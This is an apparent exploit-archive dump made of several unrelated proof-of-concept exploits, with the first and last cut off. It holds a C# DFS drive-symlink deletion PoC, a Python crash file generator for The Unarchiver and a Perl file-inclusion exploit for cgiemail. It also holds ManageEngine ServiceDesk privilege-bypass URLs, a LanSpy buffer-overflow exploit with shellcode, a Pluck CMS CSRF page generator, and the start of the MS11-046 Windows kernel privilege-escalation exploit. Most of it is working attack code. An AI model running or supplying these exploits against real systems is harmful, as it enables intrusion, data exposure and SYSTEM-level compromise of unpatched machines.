            FileAccessRights DesiredAccess,
            ObjectAttributes ObjAttr,
            [In] [Out] IoStatus IoStatusBlock,
            ShareMode ShareAccess,
            FileOpenOptions OpenOptions);

        public static void StatusToNtException(int status)
        {
            if (status < 0)
            {
                throw new NtException(status);
            }
        }

        public class NtException : ExternalException
        {
            [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
            private static extern IntPtr GetModuleHandle(string modulename);

            [Flags]
            enum FormatFlags
            {
                AllocateBuffer = 0x00000100,
                FromHModule = 0x00000800,
                FromSystem = 0x00001000,
                IgnoreInserts = 0x00000200
            }

            [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
            private static extern int FormatMessage(
              FormatFlags dwFlags,
              IntPtr lpSource,
              int dwMessageId,
              int dwLanguageId,
              out IntPtr lpBuffer,
              int nSize,
              IntPtr Arguments
            );

            [DllImport("kernel32.dll")]
            private static extern IntPtr LocalFree(IntPtr p);

            private static string StatusToString(int status)
            {
                IntPtr buffer = IntPtr.Zero;
                try
                {
                    if (FormatMessage(FormatFlags.AllocateBuffer | FormatFlags.FromHModule | FormatFlags.FromSystem | FormatFlags.IgnoreInserts,
                        GetModuleHandle("ntdll.dll"), status, 0, out buffer, 0, IntPtr.Zero) > 0)
                    {
                        return Marshal.PtrToStringUni(buffer);
                    }
                }
                finally
                {
                    if (buffer != IntPtr.Zero)
                    {
                        LocalFree(buffer);
                    }
                }
                return String.Format("Unknown Error: 0x{0:X08}", status);
            }

            public NtException(int status) : base(StatusToString(status))
            {
            }
        }

        public class SafeHGlobalBuffer : SafeHandleZeroOrMinusOneIsInvalid
        {
            public SafeHGlobalBuffer(int length)
              : this(Marshal.AllocHGlobal(length), length, true)
            {
            }

            public SafeHGlobalBuffer(IntPtr buffer, int length, bool owns_handle)
              : base(owns_handle)
            {
                Length = length;
                SetHandle(buffer);
            }

            public int Length
            {
                get; private set;
            }

            protected override bool ReleaseHandle()
            {
                if (!IsInvalid)
                {
                    Marshal.FreeHGlobal(handle);
                    handle = IntPtr.Zero;
                }
                return true;
            }
        }

        public class SafeStructureBuffer : SafeHGlobalBuffer
        {
            Type _type;

            public SafeStructureBuffer(object value) : base(Marshal.SizeOf(value))
            {
                _type = value.GetType();
                Marshal.StructureToPtr(value, handle, false);
            }

            protected override bool ReleaseHandle()
            {
                if (!IsInvalid)
                {
                    Marshal.DestroyStructure(handle, _type);
                }
                return base.ReleaseHandle();
            }
        }

        public class SafeStructureOutBuffer<T> : SafeHGlobalBuffer
        {
            public SafeStructureOutBuffer() : base(Marshal.SizeOf(typeof(T)))
            {
            }

            public T Result
            {
                get
                {
                    if (IsInvalid)
                        throw new ObjectDisposedException("handle");

                    return Marshal.PtrToStructure<T>(handle);
                }
            }
        }

        public static SafeFileHandle OpenFile(string name, FileAccessRights DesiredAccess, ShareMode ShareAccess, FileOpenOptions OpenOptions, bool inherit)
        {
            AttributeFlags flags = AttributeFlags.CaseInsensitive;
            if (inherit)
                flags |= AttributeFlags.Inherit;
            using (ObjectAttributes obja = new ObjectAttributes(name, flags))
            {
                IntPtr handle;
                IoStatus iostatus = new IoStatus();
                int status = NtOpenFile(out handle, DesiredAccess, obja, iostatus, ShareAccess, OpenOptions);
                StatusToNtException(status);
                return new SafeFileHandle(handle, true);
            }
        }

        [DllImport("ntdll.dll")]
        public static extern int NtDeviceIoControlFile(
          SafeFileHandle FileHandle,
          IntPtr Event,
          IntPtr ApcRoutine,
          IntPtr ApcContext,
          [Out] IoStatus IoStatusBlock,
          uint IoControlCode,
          byte[] InputBuffer,
          int InputBufferLength,
          byte[] OutputBuffer,
          int OutputBufferLength
        );

        [DllImport("ntdll.dll")]
        public static extern int NtFsControlFile(
          SafeFileHandle FileHandle,
          IntPtr Event,
          IntPtr ApcRoutine,
          IntPtr ApcContext,
          [Out] IoStatus IoStatusBlock,
          uint FSControlCode,
          [In] byte[] InputBuffer,
          int InputBufferLength,
          [Out] byte[] OutputBuffer,
          int OutputBufferLength
        );

        [DllImport("ntdll.dll")]
        static extern int NtCreateDirectoryObject(out IntPtr Handle, DirectoryAccessRights DesiredAccess, ObjectAttributes ObjectAttributes);

        [DllImport("ntdll.dll")]
        static extern int NtOpenDirectoryObject(out IntPtr Handle, DirectoryAccessRights DesiredAccess, ObjectAttributes ObjectAttributes);

        const int ProcessDeviceMap = 23;
        
        [DllImport("ntdll.dll")]
        static extern int NtSetInformationProcess(
	        IntPtr ProcessHandle,
	        int ProcessInformationClass,
            byte[] ProcessInformation,
            int ProcessInformationLength);
        
        const uint CREATE_DRIVE_LETTER = 0x601E0;
        const uint DELETE_DRIVE_LETTER = 0x601E4;

        [StructLayout(LayoutKind.Sequential)]
        struct DFsCreateDriveParameters
        {
            public ushort unk0;    // 0
            public ushort flags;    // 1
            public uint   some_cred_value;    // 2            
            public ushort drive_path_length;    // 4  - Length of drive letter path
            public ushort dfs_path_length;    // 5 - Can't be zero, think this is length of DFS path
            public ushort creds_length;    // 6
            public ushort password_length;    // 7 - If set this + 2 must be < length 3
            public ushort length_5;    // 8
            public ushort length_6;    // 9
            // From here is the data            
        }

        static byte[] StructToBytes(object o)
        {
            int size = Marshal.SizeOf(o);
            IntPtr p = Marshal.AllocHGlobal(size);
            try
            {
                Marshal.StructureToPtr(o, p, false);
                byte[] ret = new byte[size];
                Marshal.Copy(p, ret, 0, size);
                return ret;
            }
            finally
            {
                if (p != IntPtr.Zero)
                    Marshal.FreeHGlobal(p);
            }
        }

        static byte[] GetBytes(string s)
        {
            return Encoding.Unicode.GetBytes(s + "\0");
        }

        static void MountDfsShare(string dfs_path, string drive_path)
        {
            using (SafeFileHandle handle = OpenFile(@"\Device\DfsClient", FileAccessRights.MaximumAllowed, ShareMode.None, FileOpenOptions.None, false))
            {
                IoStatus status = new IoStatus();

                byte[] dfs_path_bytes = GetBytes(dfs_path);
                byte[] drive_path_bytes = GetBytes(drive_path);
                DFsCreateDriveParameters create_drive = new DFsCreateDriveParameters();

                create_drive.drive_path_length = (ushort)drive_path_bytes.Length;
                create_drive.dfs_path_length = (ushort)dfs_path_bytes.Length;

                List<byte> buffer = new List<byte>();
                buffer.AddRange(StructToBytes(create_drive));
                buffer.AddRange(drive_path_bytes);
                buffer.AddRange(dfs_path_bytes);

                StatusToNtException(NtFsControlFile(handle, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, status, CREATE_DRIVE_LETTER, buffer.ToArray(), buffer.Count, new byte[0], 0));
            }
        }

        static void UnmountDfsShare(string drive_path)
        {
            using (SafeFileHandle handle = OpenFile(@"\Device\DfsClient", FileAccessRights.MaximumAllowed, ShareMode.None, FileOpenOptions.None, false))
            {
                List<byte> buffer = new List<byte>();
                buffer.AddRange(new byte[4]);
                buffer.AddRange(GetBytes(drive_path));                
                byte[] output_data = new byte[8];
                IoStatus status = new IoStatus();
                StatusToNtException(NtFsControlFile(handle, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero,
                    status, DELETE_DRIVE_LETTER, buffer.ToArray(), buffer.Count, output_data, output_data.Length));
            }
        }

        static SafeKernelObjectHandle CreateDirectory(string path)
        {
            using (ObjectAttributes obja = new ObjectAttributes(path, AttributeFlags.CaseInsensitive))
            {
                IntPtr handle;
                StatusToNtException(NtCreateDirectoryObject(out handle, DirectoryAccessRights.GenericAll, obja));
                return new SafeKernelObjectHandle(handle, true);
            }
        }

        static SafeKernelObjectHandle OpenDirectory(string path)
        {
            using (ObjectAttributes obja = new ObjectAttributes(path, AttributeFlags.CaseInsensitive))
            {
                IntPtr handle;
                StatusToNtException(NtOpenDirectoryObject(out handle, DirectoryAccessRights.MaximumAllowed, obja));
                return new SafeKernelObjectHandle(handle, true);
            }
        }

        [DllImport("ntdll.dll")]
        static extern int NtOpenSymbolicLinkObject(
            out IntPtr LinkHandle,
            GenericAccessRights DesiredAccess,
            ObjectAttributes ObjectAttributes
        );

        [DllImport("ntdll.dll")]
        static extern int NtMakeTemporaryObject(SafeKernelObjectHandle ObjectHandle);

        static SafeKernelObjectHandle OpenSymbolicLink(SafeKernelObjectHandle directory, string path, GenericAccessRights access_rights)
        {
            using (ObjectAttributes obja = new ObjectAttributes(path, AttributeFlags.CaseInsensitive, directory, null, null))
            {
                IntPtr handle;
                if (NtOpenSymbolicLinkObject(out handle, access_rights, obja) != 0)
                {
                    return null;
                }

                return new SafeKernelObjectHandle(handle, true);
            }
        }

        static void SetDosDirectory(SafeKernelObjectHandle directory)
        {
            IntPtr p = directory.DangerousGetHandle();
            byte[] data = null;
            if (IntPtr.Size == 4)
            {
                data = BitConverter.GetBytes(p.ToInt32());
            }
            else
            {
                data = BitConverter.GetBytes(p.ToInt64());
            }

            StatusToNtException(NtSetInformationProcess(new IntPtr(-1), ProcessDeviceMap, data, data.Length));
        }

        static void Main(string[] args)
        {
            try
            {
                if (args.Length < 2)
                {
                    Console.WriteLine(@"DeleteGlobalDrivePoC \\dfs\share X:");
                    return;
                }

                string dfs_path = args[0];
                string drive_path = args[1];

                if (!Path.IsPathRooted(dfs_path) || !dfs_path.StartsWith(@"\\"))
                    throw new ArgumentException("DFS path must be a UNC path");
                if (drive_path.Length != 2 || !Char.IsLetter(drive_path[0]) || drive_path[1] != ':')
                    throw new ArgumentException("Drive letter must of form X:");

                SafeKernelObjectHandle dir = CreateDirectory(null);

                SafeKernelObjectHandle global = OpenDirectory(@"\GLOBAL??");
                using (SafeKernelObjectHandle symlink = OpenSymbolicLink(global, drive_path, GenericAccessRights.GenericRead))
                {
                    if (symlink == null)
                    {
                        Console.WriteLine("[ERROR]: Drive letter does existing in global device directory");
                        return;
                    }                    
                }

                SetDosDirectory(dir);
                MountDfsShare(dfs_path, drive_path);
                SetDosDirectory(global);
                UnmountDfsShare(drive_path);

                using (SafeKernelObjectHandle symlink = OpenSymbolicLink(global, drive_path, GenericAccessRights.GenericRead))
                {
                    if (symlink == null)
                    {
                        Console.WriteLine("[SUCCESS]: Deleted the {0} symlink", drive_path);
                    }
                    else
                    {
                        Console.WriteLine("[ERROR]: Symlink still in global directory");
                    }
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine("[ERROR]: {0}", ex.Message);
            }
        }
    }
}
            
# Exploit Title: The Unarchiver 3.11.1 '.tar.Z' Local Crash PoC
# Date: 10-17-2016
# Exploit Author: Antonio Z.
# Vendor Homepage: http://unarchiver.c3.cx/unarchiver
# Software Link: http://unarchiver.c3.cx/downloads/TheUnarchiver3.11.1.zip
# Version: 3.11.1
# Tested on: OS X 10.10, OS X 10.11, OS X 10.12

# More information: https://opensource.apple.com/source/gnuzip/gnuzip-11/gzip/lzw.h

import os, struct, sys
from mmap import mmap

if len(sys.argv) <= 1:
    print "Usage: python Local_Crash_PoC.py [file name]"
    exit()

file_name = sys.argv[1]
file_mod = open(file_name, 'r+b')
file_hash = file_mod.read()

def get_extension(file_name):
    basename = os.path.basename(file_name)
    extension = '.'.join(basename.split('.')[1:])
    return '.' + extension if extension else None

def file_maping():
    maping = mmap(file_mod.fileno(),0)
    maping.seek(2)
    maping.write_byte(struct.pack('B', 255))
    maping.close()
    
new_file_name = "Local_Crash_PoC" + get_extension(file_name)
    
os.popen('cp ' + file_name + ' ' + new_file_name)
file_mod = open(new_file_name, 'r+b')
file_maping()
file_mod.close()
print '[+] ' + 'Created file: ' + new_file_name
            
#!/usr/bin/env perl
# Exploit Title:    cgiemail local file inclusion
# Vendor Homepage:  http://web.mit.edu/wwwdev/cgiemail/webmaster.html
# Software Link:    http://web.mit.edu/wwwdev/cgiemail/cgiemail-1.6.tar.gz
# Version:          1.6 and older
# Date:             2016-09-27

# cgiecho a script included with cgiemail will return any file under a 
# websites document root if the file contains square brackets and the text
# within the brackets is guessable.

# cgiemail is currently shipped with cPanel and is enabled by default.

# Example: http://hostname/cgi-sys/cgiecho/login.php?'pass'=['pass'] 
#          will display http://hostname/login.php if login.php contains $_POST['pass']




##
# cgiemail local file inclusion exploit
# Author: Finbar Crago <finbar.crago@gmail.com>
# https://github.com/finbar-crago/cgiemail-exploit
##
use strict;
use warnings;
use POSIX;
use LWP::UserAgent;
use HTML::Entities;
use Getopt::Long;
$|++; $\="\n"; $,=" ";

sub usage {
die <<"EOF";

cgiemail local file inclusion exploit

Usage: $0 [options] target

Options:
  --names         Check for names in commer separated list
  --num           Check for numbers
  --num-max       Maximum number to check (default 10)
  --batch         Number of arguments sent per request (default 10)
  --cgiecho-path  Path of cgiecho on server (default '/cgi-sys/cgiecho/')
  --user-agent    Set user-agent (default 'Mozilla/5.0')
  --deley         Pause between requests in seconds (default 1)
  --timeout       Set connection timeout (default 10)

Example:
  $0 --num --names 'email,password' http://hostname/login.php > login.php

EOF
}

my $names;
my $num = 0;
my $num_max = 10; 
my $batch = 10;
my $cgiecho_path = '/cgi-sys/cgiecho';
my $user_agent = 'Mozilla/5.0';
my $timeout = 10;
my $deley = 1;
GetOptions(
    'names=s'      => \$names,
    'num'          => \$num,
    'num-max=i'    => \$num_max,
    'batch=i'      => \$batch,

    'cgiecho-path' => \$cgiecho_path,
    'user-agent=s' => \$user_agent,
    'deley=i'      => \$deley,
    'timeout=i'    => \$timeout,
);

usage unless
    defined $ARGV[0] &&
    $ARGV[0] =~ m|^(https?://)?([a-z\d.-]+)/?(.*)?|i;

my $conn=$1||'http://';my $host=$2;my $path=$3||'index.php';
my $url = "$conn$host/$cgiecho_path/$path";
my @list= ();

if($num){ push @list, $_ for 0..$num_max }
if($names){
    push @list, "%22$_%22","%27$_%27" for split/,/,$names;
}


my $ua = LWP::UserAgent->new;
$ua->agent($user_agent);
$ua->timeout($timeout);

$batch--;
my $i=0;
my $end = ceil($#list/$batch);
while($#list+1){
    my $args='?';
    my $to = ($#list > $batch)?$batch:$#list;
    $args.="$_=[$_]&" for @list[0..$to];
    @list = @list[$to+1..$#list];

    my $res = $ua->get($url.$args);
    die $res->status_line if !$res->content_is_html;
    my $html = $res->decoded_content;
    if($html !~ />cgiemail[\n\r ]*([\d.]+)/){
	print "cgiemail not found"  if !$i;
	print "cgiemail was here but now it's not..." if $i;
	exit -1;
    } print STDERR "detected cgiemail $1" if !$i;

    print STDERR "\e[Jrequest ".++$i." of $end...";

    if($res->code == 200){
	$html =~ m|<PRE>(.+)</PRE>|s;
	print decode_entities($1);
	print STDERR "success!";
	exit;
    }

    if($res->code == 500){
	if($html =~ m|500 Could not open template - No such file or directory|){
	    print STDERR "the file /$path doesn't exist...";
	} 
	elsif($html =~ m|500 Empty template file|){
	    print STDERR "/$path is a directory...";
	}
	else{
	    print STDERR "unknown 500 error:";
	    print STDERR $html;
	}
	exit -1;
    }

    select(undef,undef,undef,$deley); printf "\eM";
}
print STDERR "sorry, no match found for $path";
exit -1;
            
Title: ManageEngine ServiceDesk Plus Low Privileged User View All Tickets
Date: 18 October 2016
Author: p0z
Vendor: ManageEngine
Vendor Homepage: https://www.manageengine.com/
Product: ServiceDesk Plus
Version: 9.2 Build 9207 (Other versions could also be affected)
Fixed Version: 9.2 Build 9228 (Released on: 29 September 2016)
URL readme fixed version: https://www.manageengine.com/products/service-desk/readme-9.2.html
Vendor ID report: SD-63280, SD-63281, SD-63282, SD-63283


Product Introduction
==========================

ServiceDesk Plus is ITIL-ready help desk software with integrated Assetand Project Management capabilities.
With advanced ITSM functionality and easy-to-use capability, ServiceDesk Plus helps IT support teams deliver
world-class service to end users with reduced costs and complexity. It comes in three editions and is available
in 29 different languages. Over 100,000 organizations, across 185 countries, trust ServiceDesk Plus to optimize 
IT service desk performance and achieve high end user satisfaction.

Source: https://www.manageengine.com/products/service-desk/


Vulnerability Information
==========================

Class: Improper Privilege Management
Impact: Low privileged user can access sensetive data
Remotely Exploitable: Yes
Authentication Required: Yes
User interaction required: Yes
CVE Name: N/A


Vulnerability Description
==========================

A user with low privileged can be able view all requests/tickets (include attachments).


Vulnerability Details
==========================

SD-63280:
Low privileged user can change value for "notifyTo" variable to "REQFORWARD" and get advanced features.
After, user can change ticket id (variable "id") and see all request include attachments, and 
send (forward) to email.

SD-63281:
Using low privileged user can send "Submit for Approval" e-mail even if the user don't have a necessary permission 
to view the request.

SD-63282:
Using low privileged user can able to view the other user's assets by using the below URL.
(Able to view the associated  assets of administrator user using guest login)

SD-63283:
Low privileged user can change value for "viewType" variable to "All" and see preview all requests.


Proof-of-Concept
==========================
SD-63280:
http://localhost:9090/SDNotify.do?notifyModule=Request&mode=E-Mail&id=1&notifyTo=REQFORWARD

SD-63281:
http://localhost:9090/SubmitForApproval.do?ITEMID=1&MODULE=Request

SD-63282:
http://localhost:9090/UserAssets.do?userId=3

SD-63283:
http://localhost:9090/ListRequests.do?reqId=1&viewType=All

Timeline
==========================
09-04-2016: Notification Vendor.
02-06-2016: Vendor set ID's vulnerability.
29-09-2016: Vulnerability fixed.
            
#!/usr/bin/python

### LanSpy 2.0.0.155 - Buffer Overflow Exploit by n30m1nd ###

# Date: 2016-10-18
# Exploit Author: n30m1nd
# Vendor Homepage: www.lantricks.com
# Software Link: https://www.exploit-db.com/apps/42114d0f9e88ad76acaa0f145dabf923-lanspy_setup.exe
# Version: LanSpy 2.0.0.155
# Tested on: Tested on Win7 32bit and Win10 64 bit

# Platforms
# =========
# Tested on Win7 32bit and Win10 64 bit
# This exploit should work everywhere since the binary does not implement DEP nor ASLR

# Credits
# =======
# Shouts to hyp3rlinx for the PoC:
# 	https://www.exploit-db.com/exploits/38399/
# 	http://hyp3rlinx.altervista.org/
# And shouts to the crew at Offensive Security for their huge efforts on making
#	the infosec community better

# How to
# ======
# * Run this python script. It will generate an "addresses.txt" file.
# * Replace this file in the root directory of your LanSpy.exe installation.
# * Run LanSpy.exe and start the scan or do so by pressing F3.
# 	- You can also call LanSpy.exe from the command line like the following and 
# 		it will run the exploit straight away: echo n30 | C:\Path\To\LanSpy.exe

# Exploit code
# ============

import struct

# 32bit Alphanum-ish shellcodes
# Bad chars detected: 00 2d 20

# MessageBoxA at => 00404D80
msgbox_shellcode = (
        "\x31\xC0\x50\x68"
        "\x70\x77\x6E\x64"
        "\x54\x5F\x50\x57"
        "\x57\x50\x35\xC4"
        "\x80\x80\x55\x35"
        "\x44\xCD\xC0\x55"
        "\x50\xC3"
        )

# WinExec at -> 004EC4FF
calc_shellcode = (
        "\x31\xC0\x50\x68"
        "\x63\x61\x6C\x63"
        "\x54\x5F\x50\x57"
        "\x35\xC3\x4E\xC3"
        "\x55\x35\x3C\x8A"
        "\x8D\x55\x50\xC3"
        )

# Change the shellcode to be used here
scde = calc_shellcode
#scde = msgbox_shellcode

# 126 are the bytes to jmp back with opcode \x74\x80 => ja -80h and it is where our shellcode resides
junk = 'A'*(676-126) 
if len(scde) > 126:
	exit("[e] Shellcode is too big! Egghunter maybe? ;)")

# 0040407D => jmp ecx inside LanSpy
jecx = 'A'*(126-len(scde))+'\x74\x80CC'+struct.pack('<I', 0x0040407D)

# Junk + Shellcode for calc + jump to our first stage jump which jumps to the second stage calc shellcode
payl = junk + scde + jecx

with open("addresses.txt", "wb") as f:
        f.write(payl)
        f.close()
            
# Exploit Title: Pluck CMS 4.7.3 - Add-Page Cross-Site Request Forgery
# Exploit Author: Ahsan Tahir
# Date: 18-10-2016
# Software Link: http://www.pluck-cms.org/?file=download
# Vendor: http://www.pluck-cms.org/
# Google Dork: "2005-2016. pluck is available"
# Contact: https://twitter.com/AhsanTahirAT | https://facebook.com/ahsantahiratofficial
# Website: www.ahsan-tahir.com
# Category: webapps
# Version: 4.7.3
# Tested on: [Kali Linux 2.0 | Windows 8.1]
# Email: mrahsan1337@gmail.com

import os
import urllib

if os.name == 'nt':
		os.system('cls')
else:
	os.system('clear')

def csrfexploit():

	banner = '''
	+-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==+
	|  ____  _            _       ____ __  __ ____   |
	| |  _ \| |_   _  ___| | __  / ___|  \/  / ___|  |
	| | |_) | | | | |/ __| |/ / | |   | |\/| \___ \  |
	| |  __/| | |_| | (__|   <  | |___| |  | |___) | |
	| |_|   |_|\__,_|\___|_|\_\  \____|_|  |_|____/  |
	|  //PluckCMS 4.7.3 Add-Post CSRF Auto-Exploiter |
	|  > Exploit Author & Script Coder: Ahsan Tahir  |
	+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=+
	'''
	print banner

	url = str(raw_input(" [+] Enter The Target URL (Please include http:// or https://): "))
	title = str(raw_input(" [+] Enter the Title of the Post which you want to add by exploiting CSRF: "))
	content = raw_input(" [+] Enter the Content, which you want to add in the post by exploiting CSRF: ")

	csrfhtmlcode = '''
	<html>
	  <!-- CSRF PoC -->
	  <body>
	    <form action="%s/admin.php?action=editpage" method="POST">
	      <input type="hidden" name="title" value="%s" />
	      <input type="hidden" name="seo&#95;name" value="" />
	      <input type="hidden" name="content" value="%s" />
	      <input type="hidden" name="description" value="" />
	      <input type="hidden" name="keywords" value="" />
	      <input type="hidden" name="hidden" value="no" />
	      <input type="hidden" name="sub&#95;page" value="" />
	      <input type="hidden" name="theme" value="default" />
	      <input type="hidden" name="save" value="Save" />
	      <input type="submit" value="Submit request" />
	    </form>
	  </body>
	</html>
	''' %(url, title, content)

	print " +----------------------------------------------------+\n [!] The HTML exploit code for exploiting this CSRF has been created."

	print(" [!] Enter your Filename below\n Note: The exploit will be saved as 'filename'.html \n")
	extension = ".html"
	name = raw_input(" Filename: ")
	filename = name+extension
	file = open(filename, "w")

	file.write(csrfhtmlcode)
	file.close()
	print(" [+] Your exploit is saved as %s")%filename
	print("")

csrfexploit()
            
/*
################################################################
# Exploit Title: Windows x86 (all versions) AFD privilege escalation (MS11-046)
# Date: 2016-10-16
# Exploit Author: Tomislav Paskalev
# Vulnerable Software:
#   Windows XP SP3 x86
#   Windows XP Pro SP2 x64
#   Windows Server 2003 SP2 x86
#   Windows Server 2003 SP2 x64
#   Windows Server 2003 SP2 Itanium-based Systems 
#   Windows Vista SP1 x86
#   Windows Vista SP2 x86
#   Windows Vista SP1 x64
#   Windows Vista SP2 x64
#   Windows Server 2008 x86
#   Windows Server 2008 SP2 x86
#   Windows Server 2008 x64
#   Windows Server 2008 SP2 x64
#   Windows Server 2008 Itanium-based Systems
#   Windows Server 2008 SP2 Itanium-based Systems
#   Windows 7 x86
#   Windows 7 SP1 x86
#   Windows 7 x64
#   Windows 7 SP1 x64
#   Windows Server 2008 R2 x64
#   Windows Server 2008 R2 SP1 x64
#   Windows Server 2008 R2 Itanium-based Systems
#   Windows Server 2008 R2 SP1 Itanium-based Systems
# Supported Vulnerable Software:
#   Windows XP SP3 x86
#   Windows Server 2003 SP2 x86
#   Windows Vista SP1 x86
#   Windows Vista SP2 x86
#   Windows Server 2008 x86
#   Windows Server 2008 SP2 x86
#   Windows 7 x86
#   Windows 7 SP1 x86
# Tested Software:
#   Windows XP Pro SP3 x86 EN          [5.1.2600]
#   Windows Server 2003 Ent SP2 EN     [5.2.3790]
#   Windows Vista Ult SP1 x86 EN       [6.0.6001]
#   Windows Vista Ult SP2 x86 EN       [6.0.6002]
#   Windows Server 2008 Dat SP1 x86 EN [6.0.6001]
#   Windows Server 2008 Ent SP2 x86 EN [6.0.6002]
#   Windows 7 HB x86 EN                [6.1.7600]
#   Windows 7 Ent SP1 x86 EN           [6.1.7601]
# CVE ID: 2011-1249
################################################################
# Vulnerability description:
#   The Ancillary Function Driver (AFD) supports Windows sockets 
#   applications and is contained in the afd.sys file. The afd.sys
#   driver runs in kernel mode and manages the Winsock TCP/IP
#   communications protocol. 
#   An elevation of privilege vulnerability exists where the AFD
#   improperly validates input passed from user mode to the kernel.
#   An attacker must have valid logon credentials and be able to
#   log on locally to exploit the vulnerability.
#   An attacker who successfully exploited this vulnerability could
#   run arbitrary code in kernel mode (i.e. with NT AUTHORITY\SYSTEM
#   privileges).
################################################################
# Exploit notes:
#   Privileged shell execution:
#     - the SYSTEM shell will spawn within the invoking shell/process
#   Exploit compiling (Kali GNU/Linux Rolling 64-bit):
#     - # i686-w64-mingw32-gcc MS11-046.c -o MS11-046.exe -lws2_32
#   Exploit prerequisites:
#     - low privilege access to the target OS
#     - target OS not patched (KB2503665, or any other related
#       patch, if applicable, not installed - check "Related security
#       vulnerabilities/patches")
#   Exploit test notes:
#     - let the target OS boot properly (if applicable)
#     - Windows 7 (SP0 and SP1) will BSOD on shutdown/reset
################################################################
# Patches:
#   Windows XP SP3 x86
#     WindowsXP-KB2503665-x86-enu.exe
#       (not available - EoL)
#   Windows Server 2003 SP2 x86
#     WindowsServer2003-KB2503665-x86-enu.exe
#       https://www.microsoft.com/en-us/download/details.aspx?id=26483
#   Windows Vista SP1, SP2 x86; Windows Server 2008 (SP1), SP2 x86
#     Windows6.0-KB2503665-x86.msu
#       https://www.microsoft.com/en-us/download/details.aspx?id=26275
#   Windows 7 (SP0), SP1 x86
#     Windows6.1-KB2503665-x86.msu
#       https://www.microsoft.com/en-us/download/details.aspx?id=26311
################################################################
# Related security vulnerabilities/patches:
#   MS11-046  KB2503665  https://technet.microsoft.com/en-us/library/security/ms11-046.aspx
#   MS11-080  KB2592799  https://technet.microsoft.com/en-us/library/security/ms11-080.aspx
#   MS12-009  KB2645640  https://technet.microsoft.com/en-us/library/security/ms12-009.aspx
#   MS13-093  KB2875783  https://technet.microsoft.com/en-us/library/security/ms13-093.aspx
#   MS14-040  KB2975684  https://technet.microsoft.com/en-us/library/security/ms14-040.aspx
#
#   Table of patch replacements:
#                               | MS11-046  | MS11-080  | MS12-009  | MS13-093  | MS14-040  |
#                               -------------------------------------------------------------
#                               | KB2503665 | KB2592799 | KB2645640 | KB2875783 | KB2975684 |
#   -----------------------------------------------------------------------------------------
#   Windows x86 XP SP3          | Installed | <-Replaces|     -     |     -     |     -     |
#   Windows x86 Server 2003 SP2 | Installed | <-Replaces| <-Replaces|     -     | <-Replaces|
#   Windows x86 Vista SP1       | Installed |     -     |     -     |     -     |     -     |
#   Windows x86 Vista SP2       | Installed |     -     |     -     |     -     | <-Replaces|
#   Windows x86 Server 2008     | Installed |     -     |     -     |     -     |     -     |
#   Windows x86 Server 2008 SP2 | Installed |     -     |     -     |     -     | <-Replaces|
#   Windows x86 7               | Installed |     -     |     -     |     -     |     -     |
#   Windows x86 7 SP1           | Installed |     -     |     -     |     -     | <-Replaces|
################################################################
# Thanks to:
#   azy (XP, 2k3 exploit)
#   Rahul Sasi (PoC)
################################################################
# References:
#   https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-1249
#   https://technet.microsoft.com/en-us/library/security/ms11-046.aspx
#   http://web.qhwins.com/Security/2012021712023641874126.html
#   https://www.exploit-db.com/exploits/18755/
################################################################
*/


#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <ws2tcpip.h>

#pragma comment (lib, "ws2_32.lib")


////////////////////////////////////////////////////////////////
// DEFINE DATA TYPES
////////////////////////////////////////////////////////////////

typedef enum _KPROFILE_SOURCE {
    ProfileTime,
    ProfileAlignmentFixup,
    ProfileTotalIssues,
    ProfilePipelineDry,
    ProfileLoadInstructions,
    ProfilePipelineFrozen,
    ProfileBranchInstructions,
    ProfileTotalNonissues,
    ProfileDcacheMisses,
    ProfileIcacheMisses,
    ProfileCacheMisses,
    ProfileBranchMispredictions,
    ProfileStoreInstructions,
    ProfileFpInstructions,
    ProfileIntegerInstructions,
    Profile2Issue,
    Profile3Issue,
    Profile4Issue,
    ProfileSpecialInstructions,
    ProfileTotalCycles,
    ProfileIcacheIssues,
    ProfileDcacheAccesses,
    ProfileMemoryBarrierCycles,
    ProfileLoadLinkedIssues,
    ProfileMaximum
} KPROFILE_SOURCE, *PKPROFILE_SOURCE;


typedef DWORD (WINAPI *PNTQUERYINTERVAL) (
    KPROFILE_SOURCE   ProfileSource,
    PULONG            Interval
);


typedef LONG NTSTATUS;


typedef NTSTATUS (WINAPI *PNTALLOCATE) (
    HANDLE            ProcessHandle,
    PVOID             *BaseAddress,
    ULONG             ZeroBits,
    PULONG            RegionSize,
    ULONG             AllocationType,
    ULONG             Protect
);


typedef struct _IO_STATUS_BLOCK {
    union {
        NTSTATUS      Status;
        PVOID         Pointer;
    };
    ULONG_PTR         Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;


typedef struct _SYSTEM_MODULE_INFORMATION {
    ULONG             Reserved[2];
    PVOID             Base;
    ULONG             Size;
    ULONG             Flags;
    USHORT            Index;
    USHORT            Unknown;
    USHORT            LoadCount;
    USHORT            ModuleNameOffset;
    CHAR              ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;


typedef BOOL (WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL);


////////////////////////////////////////////////////////////////
// FUNCTIONS
////////////////////////////////////////////////////////////////

BOOL IsWow64()
{
    BOOL bIsWow64 = FALSE;
    LPFN_ISWOW64PROCESS fnIsWow64Process;

    fnIsWow64Process = (LPFN_ISWOW64PROCESS) GetProcAddress(GetModuleHandle(TEXT("kernel32")), "IsWow64Process");

    if(NULL != fnIsWow64Process)
    {
        // https://msdn.microsoft.com/en-us/library/windows/desktop/ms684139(v=vs.85).aspx
        if (!fnIsWow64Process(GetCurrentProcess(), &bIsWow64))
        {
            // https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
            printf("   [-] Failed (error code: %d)\n", GetLastError());
            return -1;
        }
    }
    return bIsWow64;
}


////////////////////////////////////////////////////////////////
// MAIN FUNCTION
////////////////////////////////////////////////////////////////

int main(void)
{
    printf("[*] MS11-046 (CVE-2011-1249) x86 exploit\n");
    printf("   [*] by Tomislav Paskalev\n");


    ////////////////////////////////////////////////////////////////
    // IDENTIFY TARGET OS ARCHITECTURE AND VERSION
    ////////////////////////////////////////////////////////////////

